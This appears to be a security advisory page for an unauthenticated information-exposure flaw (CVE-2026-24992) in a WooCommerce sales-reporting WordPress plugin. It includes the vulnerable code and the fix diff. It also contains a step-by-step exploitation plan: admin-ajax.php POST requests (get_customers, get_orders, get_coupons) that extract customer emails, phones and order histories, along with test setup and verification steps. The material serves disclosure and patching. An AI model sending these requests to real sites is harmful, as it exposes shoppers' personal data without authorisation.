Advanced WooCommerce Product Sales Reporting <= 4.1.2 - Unauthenticated Information Exposure
Description
The Advanced WooCommerce Product Sales Reporting – Statistics & Forecast plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.1.2What Changed in the Fix
Changes introduced in v4.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-24992 ## 1. Vulnerability Summary The **Advanced WooCommerce Product Sales Reporting** plugin (up to version 4.1.2) is vulnerable to **Unauthenticated Information Exposure**. The plugin registers several AJAX handlers for generating reports (customers, orders…
Show full research plan
Exploitation Research Plan - CVE-2026-24992
1. Vulnerability Summary
The Advanced WooCommerce Product Sales Reporting plugin (up to version 4.1.2) is vulnerable to Unauthenticated Information Exposure. The plugin registers several AJAX handlers for generating reports (customers, orders, countries, etc.) using the wp_ajax_nopriv_ hook. This makes these endpoints accessible to unauthenticated users. Furthermore, the handler functions in OrderProcessorHelp do not implement capability checks (current_user_can) or nonce verification, allowing any remote actor to extract sensitive customer lists, order histories, and sales data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
get_customers(orget_orders,get_coupons) - HTTP Method:
POST - Authentication: None (Unauthenticated)
- Preconditions:
- The plugin must be active.
- WooCommerce must be installed and contain customer or order data.
- Vulnerable Hook:
wp_ajax_nopriv_get_customers(and others defined inhelper-class.php).
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwithaction=get_customers. - Hook Registration: In
helper-class.php, theOrderProcessorHelp::__construct()method registers the hook:add_action( 'wp_ajax_get_customers', array( $this,'get_customers' ) ); add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) ); - Handler Execution: WordPress executes
OrderProcessorHelp::get_customers(). - Missing Protection: The
get_customersfunction (and others likeget_orders) fails to callcheck_ajax_referer()orcurrent_user_can( 'manage_woocommerce' ). - Data Sink: The function queries the WooCommerce database (specifically the customer lookup tables or
wp_users/wp_usermeta) and returns a JSON-encoded list of customer details including names, emails, and phone numbers.
4. Nonce Acquisition Strategy
No nonce is required.
Analysis of the webdWoocommerceReportingStatistics::BackEndScripts() function in webd-woocommerce-reporting-statistics.php shows the wp_localize_script call for the webdWoocommerceReportingStatistics object:
wp_localize_script(
"webd-woocommerce-reporting-statistics"."adminJs",
"webdWoocommerceReportingStatistics",
array(
'thispluginpage' => admin_url("/admin.php?page=".$this->slug),
'url' => admin_url( 'admin-ajax.php' ),
'plugin_url' => plugins_url( '', __FILE__ ),
'ajax_url' => admin_url( 'admin-ajax.php' ),
'siteUrl' => site_url(),
'plugin_wrapper' => "webd-woocommerce-reporting-statistics",
// ... (No nonce parameter present)
)
);
Furthermore, the nopriv_ registration indicates the endpoints were erroneously exposed to public access. The handlers in helper-class.php are expected to process the request directly.
5. Exploitation Strategy
Step 1: Extract Customer List (PII Exposure)
This request targets the customer report data.
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=get_customers
Step 2: Extract Order Details
This request targets the order history, which may contain transaction IDs and specific product interests.
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=get_orders
Step 3: Extract Reporting Statistics
This request targets overall sales metrics.
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=display_orders_by_period&tab=months
6. Test Data Setup
- Install WooCommerce: Ensure WooCommerce is active.
- Create a Customer:
wp user create victim victim@example.com --role=customer --user_pass=password123 --first_name="Victim" --last_name="User" - Create an Order: Use WC CLI to create a sample order for the customer.
wp wc shop_order create --customer_id=2 --status=completed --set_paid=true - Configure Plugin: The plugin uses default settings upon activation in
onActivation(). No further configuration is needed.
7. Expected Results
- Success Criteria: The HTTP response should be
200 OKand contain a JSON array or object. - Data Exposed: For
action=get_customers, the response should contain PII fields such as:billing_emailbilling_phonefirst_name/last_namecity/country
- Format: Likely a JSON list compatible with DataTables (e.g.,
{"data": [...], "recordsTotal": ...}).
8. Verification Steps
After performing the HTTP request:
- Verify the leaked data matches the database records:
wp user list --role=customer --fields=user_email,display_name - Compare the email addresses in the AJAX response with the output of the
wp user listcommand. If they match, information exposure is confirmed.
9. Alternative Approaches
If get_customers does not return data directly (e.g., if it requires pagination parameters), attempt adding standard DataTables parameters:
- Body:
action=get_customers&start=0&length=10&draw=1
If get_customers is restricted by specific environment settings, attempt:
- Action:
get_coupons(Exposes discount codes and usage limits). - Action:
get_payments(Exposes payment gateway configuration names and transaction volumes).
Summary
The plugin incorrectly exposes several AJAX endpoints intended for administrative reporting to unauthenticated users by registering them with the 'wp_ajax_nopriv_' hook. Due to a lack of capability checks and nonce verification within the handler functions, attackers can extract sensitive WooCommerce information, including customer PII, order histories, and sales statistics.
Vulnerable Code
// helper-class.php line 104 public function __construct() { add_action( 'wp_ajax_getOrders', array( $this,'getOrders' ) ); add_action( 'wp_ajax_nopriv_getOrders', array( $this,'getOrders' ) ); add_action( 'wp_ajax_get_orders', array( $this,'get_orders' ) ); add_action( 'wp_ajax_nopriv_get_orders', array( $this,'get_orders' ) ); add_action( 'wp_ajax_get_customers', array( $this,'get_customers' ) ); add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) ); add_action( 'wp_ajax_get_countries', array( $this,'get_countries' ) ); add_action( 'wp_ajax_nopriv_get_countries', array( $this,'get_countries' ) ); add_action( 'wp_ajax_get_payments', array( $this,'get_payments' ) ); add_action( 'wp_ajax_nopriv_get_payments', array( $this,'get_payments' ) ); add_action( 'wp_ajax_get_coupons', array( $this,'get_coupons' ) ); add_action( 'wp_ajax_nopriv_get_coupons', array( $this,'get_coupons' ) ); add_action( 'wp_ajax_get_products', array( $this,'get_products' ) ); add_action( 'wp_ajax_nopriv_get_products', array( $this,'get_products' ) ); add_action( 'wp_ajax_get_categories', array( $this,'get_categories' ) ); add_action( 'wp_ajax_nopriv_get_categories', array( $this,'get_categories' ) ); add_action( 'wp_ajax_display_orders_by_period', array( $this,'display_orders_by_period' ) ); add_action( 'wp_ajax_nopriv_display_orders_by_period', array( $this,'display_orders_by_period' ) ); } --- // helper-class.php line 833 public function get_customers() { if ( is_admin() && ( isset( $_POST['action'] ) && 'get_customers' === $_POST['action'] ) ) { // ... queries database and returns data directly without capability check
Security Fix
@@ -101,36 +101,19 @@ /** * Constructor. + * + * @version 4.1.3 */ public function __construct() { - - add_action( 'wp_ajax_getOrders', array( $this,'getOrders' ) ); - add_action( 'wp_ajax_nopriv_getOrders', array( $this,'getOrders' ) ); - - add_action( 'wp_ajax_get_orders', array( $this,'get_orders' ) ); - add_action( 'wp_ajax_nopriv_get_orders', array( $this,'get_orders' ) ); - - add_action( 'wp_ajax_get_customers', array( $this,'get_customers' ) ); - add_action( 'wp_ajax_nopriv_get_customers', array( $this,'get_customers' ) ); - - add_action( 'wp_ajax_get_countries', array( $this,'get_countries' ) ); - add_action( 'wp_ajax_nopriv_get_countries', array( $this,'get_countries' ) ); - - add_action( 'wp_ajax_get_payments', array( $this,'get_payments' ) ); - add_action( 'wp_ajax_nopriv_get_payments', array( $this,'get_payments' ) ); - - add_action( 'wp_ajax_get_coupons', array( $this,'get_coupons' ) ); - add_action( 'wp_ajax_nopriv_get_coupons', array( $this,'get_coupons' ) ); - - add_action( 'wp_ajax_get_products', array( $this,'get_products' ) ); - add_action( 'wp_ajax_nopriv_get_products', array( $this,'get_products' ) ); - - add_action( 'wp_ajax_get_categories', array( $this,'get_categories' ) ); - add_action( 'wp_ajax_nopriv_get_categories', array( $this,'get_categories' ) ); - - add_action( 'wp_ajax_display_orders_by_period', array( $this,'display_orders_by_period' ) ); - add_action( 'wp_ajax_nopriv_display_orders_by_period', array( $this,'display_orders_by_period' ) ); - + add_action( 'wp_ajax_getOrders', array( $this,'getOrders' ) ); + add_action( 'wp_ajax_get_orders', array( $this,'get_orders' ) ); + add_action( 'wp_ajax_get_customers', array( $this,'get_customers' ) ); + add_action( 'wp_ajax_get_countries', array( $this,'get_countries' ) ); + add_action( 'wp_ajax_get_payments', array( $this,'get_payments' ) ); + add_action( 'wp_ajax_get_coupons', array( $this,'get_coupons' ) ); + add_action( 'wp_ajax_get_products', array( $this,'get_products' ) ); + add_action( 'wp_ajax_get_categories', array( $this,'get_categories' ) ); + add_action( 'wp_ajax_display_orders_by_period', array( $this,'display_orders_by_period' ) ); } /** @@ -183,7 +166,8 @@ if ( 'POST' === $_SERVER['REQUEST_METHOD'] && - 'display_orders_by_period' === $_POST['action'] + 'display_orders_by_period' === $_POST['action'] && + current_user_can( 'manage_woocommerce' ) ) {
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An unauthenticated attacker sends a POST request with the 'action' parameter set to 'get_customers' (to leak PII), 'get_orders' (to leak transaction history), or 'get_coupons' (to leak discount data). Because the plugin registers these actions via wp_ajax_nopriv_ and the handler functions lack current_user_can() checks, the server will process the request and return the sensitive data in a JSON format without requiring any authentication or nonces.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.